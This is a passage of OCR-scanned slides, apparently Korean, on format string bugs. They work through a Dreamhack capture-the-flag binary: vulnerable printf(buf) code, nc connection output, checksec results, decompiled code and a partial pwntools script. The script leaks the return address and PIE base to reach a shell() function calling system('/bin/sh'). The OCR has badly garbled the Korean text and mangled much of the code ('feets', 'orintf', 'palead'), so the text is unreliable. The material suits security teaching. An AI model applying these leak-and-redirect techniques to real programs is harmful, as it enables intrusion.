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“YPYS/S/SS/N”



Contents

1. Format String Bug=l?
2. 8Ml 27K

3. 2Ml Zol

4. QRA

“YPYS/S/SS/N”



1. Format String BugE!?

“YoP /oSS oSS N



1. Format String BugE!?

Format String?

“YoP 1S /S/S SN



“YoP 1S /S/S SN

1. Format String BugE!?

Format String?

#include <stdio.h>

int main() {

int a = 100;
printf("%d", a);
return 0O;



“YPYS/S/SS/N”

1. Format String BugE!?

Format String?

#include <stdio.h>

int main() {

int a = 100;
printf("%d", a);

return O;
’ Format String



1. Format String BugE!?

Format StringQl &

“YoP 1S /S/S SN



1. Format String BugE!?

Format StringQl &

7%d

%S

7 X
7p

Q‘O 7N

“YPYS/S/SS/N”

ATHTIRRI ALSE EXHEOI ol g



1. Format String BugE!?

Format String2 OIXI=E AI20}I= ota

“YoP 1S /S/S SN



“YPYS/S/SS/N”

1. Format String BugE!?

Format String2 OIXI=E AI20}I= ota

scanf, fprintf, fscanf, sprintf, sscanf §..



1. Format String BugE!?

Format String Bug?

“YoP 1S /S/S SN



1. Format String BugE!?

Format String Bug?

Format String2 Al86l= St4:0llM Format2

O —— | I
MICHE XIX6H =X| OIS "HQ HIAHGIL X|OFX

“YoPYS/SYS/SN”



“YoP /oSS oSS N

1. Format String BugE!?

#include <stdio.h>
int main() {

char buf[1024];
printf("Input: ");
feets(buf, 1024, stdin);
printf("Result: ");
printf(buf);

return O;



“YoP /oSS oSS N

1. Format String BugE!?

#include <stdio.h>
int main() {

char buf[1024];
printf("Input: ");
feets(buf, 1024, stdin);
printf("Result: ");
printf(buf);

return 0;
’ Format String Bug



1. Format String BugE!?

“YoP 7S /SYSS/N”

phllllp@DESKTOP-3LHD5QI:~$ ./FSB.c
Input: AAAA




“YoP 7S /SYSS/N”

1. Format String BugE!?

phllllp@DESKTOP—BLHD5QI:~$ .JFSB.c
Input: AAAA
Result: AAAA

o



1. Format String BugE!?

“YoP 7S /SYSS/N”

phll1lp@DESKTOP-3LHD5QI:~S ./FSB.c
Input: %p %p %p




“YoP 7S /SYSS/N”

1. Format String BugE!?

oh1l1lp@DESKTOP-3LHD5QI:~$ ./FSB.c
Input: %p %p %p
Result: 0x203a746¢75736552 (nil) 0x203a746¢75736552
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2. M2l A%

“YoPYoS/S/S SN
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2. M2l A%

3, QIO| IL AlSH

“YoPYoS/S/S SN
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rsi, rdx, rex, r8, r9, [rspl, [rsp+8], [rsp+0x101]



1. Format String BugE!?

£ OF [HAY

“YoP /oSS oSS N



1. Format String BugE!?

£ OF [HAY

(buf): ->

“YoP /oSS oSS N



1. Format String BugE!?

£ OF [HAY

(buf): ->

“YoP /oSS oSS N

("%s", buf);



1. Format String BugE!?

£ OF [HAY

(buf): ->

“YoP /oSS oSS N

("%s", buf):;
(buf):



2. Ml 27TH

“YoP 7S /SYSS/N”
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2. Ml 27TH

FORMAT_STRING_AEG




“YoPYoS/S/S SN

=X 2F

Description

| Automatic Exploit Generation 23!

20 AE|O|X|2 0|0 JUSLICt.
28 & timeout2 10X lL|C}

CHS AH|O|X|Z EHO{7L7| IS A=, /tmp/subflag_*.txtdl =X{SH= AEH|O|X| E flag
B o= NAZ S0t} (exit) QIS SHAIH EIL|LCF

OrX[2F AH|O|XIE 455, 2 #= Sef 27t = LT

—_ L =

#&= Selid= DH{...}, 2H|0|X| & Zef1= SUBFLAG{...}2[ &%

o =X 2tH 2 ubuntu:22.04

(ubuntu:22.04@sha256:817cfe4672284dcbfee885b1a66094fd907630d610cab329114d
036716be49ba) &L|LC}.
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2. Ml 27TH

FORMAT_STRING_AEG




“YoPYoS/S/S SN

fc28ba?d-a194-4fab-bac1-dddf286calf...

8497e61-9805-4177-95f1-b7803¢108...

HEAP AEG

fc28ba2d-a184-4fab-bac1-dddf286ca0f

N[

“'Il_.l—rj_'l I:-‘|| A

3b885c55-8at
04284ceb-6673-4573-9422-3b3652a7
oo ~C O ||

v e ST
Goalaa- (05§ B B

284ceb-6673-4573-9422-3b3652a7 ..
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README.txt




2. Ml 27TH

= README.txt

Again!
good luck!

“YoP%S/S%S%S%N"



“YoP/oS /oSS S/N”

2. Ml 27TH

N
a5 8H

Host: hostl.dreamhack.games
Port: 10886/tcp — 8080/tcp

MNAHISHZ 2AH|: nc hostl.dreamhack.games 10886
Zshd 2A|: http://hostl.dreamhack.games:10886/




2. 2% 2TH

“YoP’S/SYSYS/N”

phllllp@DESKTOP-3LHD5QI:~$




“YoP 7S /SYSS/N”

2. Ml 27TH

ph1lllp@DESKTOP-3LHD50QI:~S nc hostl.dreamhack.games 10886




“YoP 7S /SYSS/N”

2. Ml 27TH

ph1lllp@DESKTOP-3LHD50QI:~S nc hostl.dreamhack.games 10886

By Wyv3rn
-How2Baeg-

Are u ready (y/n) ?

XX



“YoP 7S /SYSS/N”

2. Ml 27TH

ph1lllp@DESKTOP-3LHD50QI:~S nc hostl.dreamhack.games 10886

By Wyv3rn
-How2Baeg-

Are u ready (y/n) ?y

XX



“YoPYS/SYS/SN”

2. Ml 27TH

AAAAGAQAAAQAAAAMAAAAAAAAAAEAAAAAAAAAAMAAAAAAAABAAAAAAAAAAAAAAAAAAAA

AIAAAAAAAAAAAAAAAAAAAADAEAAAgAAAADAAAAAAAAABBAAAAAAAAAEDAAAAAAAAAGAAA
AAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABEBAAABAAAAMAAAAAAAAAAAAAAAAAA
AABAWAAAAAAAALQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAZAAAAA
AAAAAAAAAAAAAAAAAAABAMAAAAAAAAJZEAAAAAAAAHQAAABIAAAAIAAAAAAAAABZAAAAA
AAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAA2DQAAAAAAACSAgAAAAAAAAAAAAAAAAAA
AQAAAAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAJQIAAAAAAAAGEEA
AAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=

[*] Welcome to FSAEG!
[*] Input :

5o



“YoPYoS/S/S SN

2. Ml 27TH

AAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAA2DQAAAAAAACBAgZAAAAAAAAAAAAAAAAAA
AQAAAAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAJQ3AAAAAAAAGEZEA
AAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=

Welcome to FSAEG!
Input : a

Your input : a
Another input :

NN




“YoPYoS/S/S SN

2. Ml 27TH

AAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAA2DQAAAAAAACBAgZAAAAAAAAAAAAAAAAAA
AQAAAAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAJQ3AAAAAAAAGEZEA
AAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=

Welcome to FSAEG!
Input : a

Your input : a
Another input : a
Another your input : a
flag :

NN




“YoPYoS/S/S SN

2. Ml 27TH

AAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAA2DQAAAAAAACBAgZAAAAAAAAAAAAAAAAAA
AQAAAAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAJQ3AAAAAAAAGEZEA
AAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=

Welcome to FSAEG!
Input : a

Your input : a
Another input : a
Another your input : a
flag : a

Wrong

NN N




“YoP 7S /SYSS/N”



“YoPYoS/S/S SN

3. 2l Eol
5o




“YoP%%S%S%S%Ss%/N"

3. 22Xl Eol
QO base64 encoding!!




“YoP 7S /SYSS/N”

3. 2l Eol

ph1lllp@DESKTOP-3LHD5QI:~S echo "...AAAAAAA=" | base64 -d > output.elf




“YoP 7S /SYSS/N”

3. 2l Eol

ph1lllp@DESKTOP-3LHD5QI:~S echo "...AAAAAAA=" | base64 -d > output.elf
oh1l1lp@DESKTOP-3LHD5QI:~$ Is

README.txt output.elf




“YoP 7S /SYSS/N”

3. 2l Eol

ph1lllp@DESKTOP-3LHD5QI:~S echo "...AAAAAAA=" | base64 -d > output.elf
oh1l1lp@DESKTOP-3LHD5QI:~$ Is

README.txt output.elf
oh1l1lp@DESKTOP-3LHD5Q1:~$ ./output.elf

*] Welcome to FSAEG!
Input : TOooo00o00 late..




3. 2 =o}

“YoP /oSS oSS N

Oh1l1lp@DESKTOP-3LHD5QI:~S checksec output.elf

Arch: amdo4-64-little

RELRO:  Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK:  Enabled

IBT: Enabled
Stripped:

“]'/mnt/c/Users/ZE &l /Downloads/Format_String_AEG/output.elf




“YoP /oSS oSS N"”



“YoP/oS /oSS S/N”

_Start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy

alarm_handler
initialize

shell

main
_term_proc




“YoP/oS /oSS S/N”

_Start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy

alarm_handler
initialize

shell

main
_term_proc




“YopP”S/oSV/SYS/oN"

int shell()
{

puts("good");
return system("/bin/sh");

J




“YoP/oS /oSS S/N”

_Start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy

alarm_handler
initialize

shell

main
_term_proc




“YoP/oS /oSS S/N”

_Start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy

alarm_handler
initialize

shell

main
_term_proc




“YoPYoS/S/S SN

int __fastcall main(int argc, const char **argv, const char **envp)

{

unsigned __int64 v6;

= __readfsqword(0x28u);
memset(but, 0, sizeof(but));

= O,
initialize( , , );
outs(&byte_2021);
outs("[*] Welcome to FSAEG!");
orintf("[*] Input : ");
read(0, buf, Ox64ulLL);
orintf("[*] Your input : ");
orintf(( )buf, buf);
orintf("[*] Another input : ");
read(0, but, Ox64ulLL);
printf("[*] Another your input : ");
return printf(( )out);




“YoPYoS/S/S SN

int __fastcall main(int argc, const char **argv, const char **envp)

{

unsigned __int64 v6;

= __readfsqword(0x28u);
memset(but, 0, sizeof(but));

= O,
initialize( , , );
outs(&byte_2021);
outs("[*] Welcome to FSAEG!");
orintf("[*] Input : ");
read(0, buf, Ox64ulLL);
orintf("[*] Your input : ");
orintf( )buf, buf); {- Format String Bug
orintf("[*] Another input : ");
read(0, but, Ox64ulLL);
printf("[*] Another your input : ");
return printf(( )out);




“YoPYoS/S/S SN

int __fastcall main(int argc, const char **argv, const char **envp)

{

unsigned __int64 v6;

= __readfsqword(0x28u);
memset(buf, 0, sizeof(but));
= O,
initialize( , , );
outs(&byte_2021);
outs("[*] Welcome to FSAEG!");
orintf("[*] Input : ");
read(0, buf, 0x64uLL);
orintf("[*] Your input : ");
orintf( )buf, buf); {- Format String Bug
orintf("[*] Another input : ");
read(0, but, 0x64ulLL);
printf("[*] Another your input : ");
return printf(( )buf); €= Format String Bug
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1. RN Ql=21: ret addr, pie base 3! JcHTI
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“YoP/oS /oSS S/N”

3. 2 =o}

AlLIEIR

2. SEHIH Ql=1: ret addroil shell 211

alX

G ]



3. 2 =o}

“YoP 7S /SYSS/N”

oh1l1lp@DESKTOP-3LHD5QI:~$ code .




“YoP 7S /SYSS/N”

3. 2l Eol

from pwn import *

p = process('./output.elf')
e = ELF('./output.elf')

shell = e.sym/|'shell’]

p.interactive()



“YoPYoS/S/S SN

3. 2l Eol

from pwn import *

int __fastcall main(int argc, const char **argv, const char **envp)

{
p = process('./output.elf')
e = ELF('./output.elf')

unsigned __int64 v6;

= __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
:O,

shell = e.sym|'shell’] initialize(arg, argv, envp);
puts(&byte_2021);

puts("[*] Welcome to FSAEG!");
printf("[*] Input : ");

payload = '%p ' * 33 # len = 99 PREINTAATNIEE

printf("[*] Your input : ");

() printf(( )buf, buf);
printf("[*] Another input : ");

p, (b": ", palead) read(0, buf, 0x64ulLL);

printf("[*] Another your input : ");

return printf(( )buf);
XX pinteractvel




“YoPYoS/S/S SN

3. 2l Eol

from pwn import *

int __fastcall main(int argc, const char **argv, const char **envp)

{
p = process('./output.elf')
e = ELF('./output.elf')

unsigned __int64 v6;

= __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
:O,

shell = e.sym|'shell’] initialize(arg, argv, envp);

puts(&byte_2021);
puts("[*] Welcome to FSAEG!");
printf("[*] Input : ");
payload — 'O/op '* 33 # |len = 99 BRI NI YR
printf("[*] Your input : ");
() printf(( )buf, buf;
printf("[*] Another input : ");

p, (b": ", palead) read(0, buf, 0x64ulLL);

printf("[*] Another your input : ");

return printf(( )buf);
XX pinteractvel




“YoPYoS/S/S SN

3. 2l Eol

[*] Switching to interactive mode

S

[*] Your input :

Ox7ffdof11d4e0 (nil) Ox7fObbd57a887 0x11 (nil) (nil) (nil) (nil) (nil) (nil) Ox1
0x7025207025207025 0x2520702520702520 0x2070252070252070
0x7025207025207025 0x2520702520702520 0x2070252070252070
0x7025207025207025 0x2520702520702520 0x2070252070252070
0x7025207025207025 0x2520702520702520 0x2070252070252070 0x207025
0x4b296cc18c0b3200 0x1 0x7f0bbd48fd90 (nil) 0x564fad4a7f2f8 0x100870200
Ox7ffc00870218 (nil) 0x8c9e51ef037212e8

S




3. 2Xil ol

“YoP/oS/SVsSYS/N”

1. Ox7ffd9f11d4e0
3. 0x7f0bbd57a887

29. 0x564fa4a7f2f8

31. 0x7ffc00870218

o




3. 2l Eol

“YPYS/S/SS/N”

1. Ox7ffd9f11d4e0
3. 0x7f0bbd57a887

29. 0x564fa4a7f2f8

31. 0x7ffc00870218

) ~ () 7{fc00852000 0x7ffc00873000 rw-p 21000 0

)

)

—

[stack] +0x1bf40

oo




“YoP 7S /SYSS/N”

3. 2l Eol

pwndbg> retaddr

Ox7ffd9f11f5f8 —» «— lea rax, [rip + 0xcOc]
Ox7ffc00870108 —» «— mov edi, eax
Ox7ffc008701a8 — «— mov rl5, gword
ptr [rip + Ox1f0159]

Ox7ffc008701f8 —» «— hlt

o



“YoP 7S /SYSS/N”

3. 2 =o}

pwndbg> p/x Ox7ffd9f11f5f8 - Ox7ffd9f11d4e0
S1=0x2118




“YoP 7S /SYSS/N”

3. 2l Eol

payload = '"%p"' * 33 # len = 99
p.recvuntil(b': ')

ret_addr = int(p.recvuntil(b',")[:-1], 16)
ret = ret_addr + 0x2118

print(hex(ret))

p.sendafter(b": ", payload)

QO p.interactive()



“YoP’SV/SY/SS/N”

3. 2HI Eol

/mnt/c/Users/dE & /Downloads/Format_String_ AEG/expolit.py:9: BytesWarning: Text is not bytes;
assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendafter(b": ", payload)

Ox7ffd22584b68

[*] Switching to interactive mode

S

oo



“YPYS/S/SS/N”

3. 2l Eol

/mnt/c/Users/dE & /Downloads/Format_String_ AEG/expolit.py:9: BytesWarning: Text is not bytes;
assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendafter(b": ", payload)

Ox7ffd22584b68

[*] Switching to interactive mode
pwndbg> retaddr
Ox7ffd22584b68 —» «— lea rax, [rip + 0xcOc]
Ox7ffc00870108 — «— mov edi, eax
Ox7ffc008701a8 —» «— mov rl5, gword
ptr [rip + Ox1f0159]
0x7ffc008701f8 —» «— hlt

o



“YoP 7S /SYSS/N”

3. 2 =o}

pwndbg> p/x 0x564fa4a7f2f8 - 0x564fa4a7f000
$2 = 0x2f8




.text:00000000000012CF ;

.text:00000000000012CF
.text:00000000000012CF

public shell
shell proc near

.text:00000000000012CF ; __unwind {

.text:00000000000012CF
.text:00000000000012D3
.text:00000000000012D4
.text:00000000000012D7
.text:00000000000012DE
.text:00000000000012E1
.text:00000000000012E6
.text:00000000000012ED
.text:00000000000012F0
.text:00000000000012F5
.text:00000000000012F6
.text:00000000000012F7

endbr64

push rbp

mov rbp, rsp
lea rax, aGood
mov rdi, rax
call _puts

lea rax, command
mov rdi, rax
call _system
nop

pop rbp

retn

.text:00000000000012F7 ; } // starts at 12CF

.text:00000000000012F7 shell

endp

5 S

; command

“YoPYoS/S/S SN



text:00000000000012CF ;

.text:00000000000012CF
.text:00000000000012CF

public shell
shell proc near

.text:00000000000012CF ; __unwind {

.text:00000000000012CF
.text:00000000000012D3
.text:00000000000012D4
.text:00000000000012D7
.text:00000000000012DE
.text:00000000000012E1
.text:00000000000012E6
.text:00000000000012ED
.text:00000000000012F0
.text:00000000000012F5
.text:00000000000012F6
.text:00000000000012F7

endbr64

push rbp

mov rbp, rsp
lea rax, aGood
mov rdi, rax
call _puts

lea rax, command
mov rdi, rax
call _system
nop

pop rbp

retn

.text:00000000000012F7 ; } // starts at 12CF

.text:00000000000012F7 shell

endp

5 S

; command

“YoPYoS/S/S SN



“YoP 7S /SYSS/N”

3. 2 =o}

pwndbg> p/x 0x564fa4a7f2f8 - 0x2f8 + Ox12cf
$3 = 0x564fa4a802cf




“YoP 7S /SYSS/N”

3. 2 =o}

pwndbg> p/x 0x564fa4a7f2f8 - 0x2f8 + Ox12cf

$3 = 0x564fa4a802cf
pwndbg=> p shell

$4 = {<text variable, no debug info>} <shell>




“YoP’SV/SY/SS/N”

3. 2HI Eol

pwndbg> p/x 0x564fa4a7f2f8 - 0x2f8 + Ox12cf

$3 = 0x564fa4a802cf
pwndbg=> p shell

$4 = {<text variable, no debug info>} <shell>
pwndbg> p/x 0x564fa4a802cf - 0x564fa4a7f2ct

S5 = 0x1000




“YoP 7S /SYSS/N”

3. 2l Eol

p.recvuntil(b'0x5').decode()
pie_leak = int('0x55" + p.recvuntil(' ')[0:11].decode(), 16)

pie_base = pie_leak - 0x2f8 - 0x1000

shell_addr = pie_base + shell
orint(hex(shell_addr))

p.interactive()



“YoP’SV/SY/SS/N”

3. 2HI Eol

0x557337ab32cf

[*] Switching to interactive mode

S



3. 2Xil ol

0x557337ab32cf

[*] Switching to interactive mode

S

“YopP oS /oSS S/N”

pwndbg> p shell

$4 = {<text variable, no debug info>}

<shell>
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1. RN Ql=21: ret addr, pie base 3! JotTI



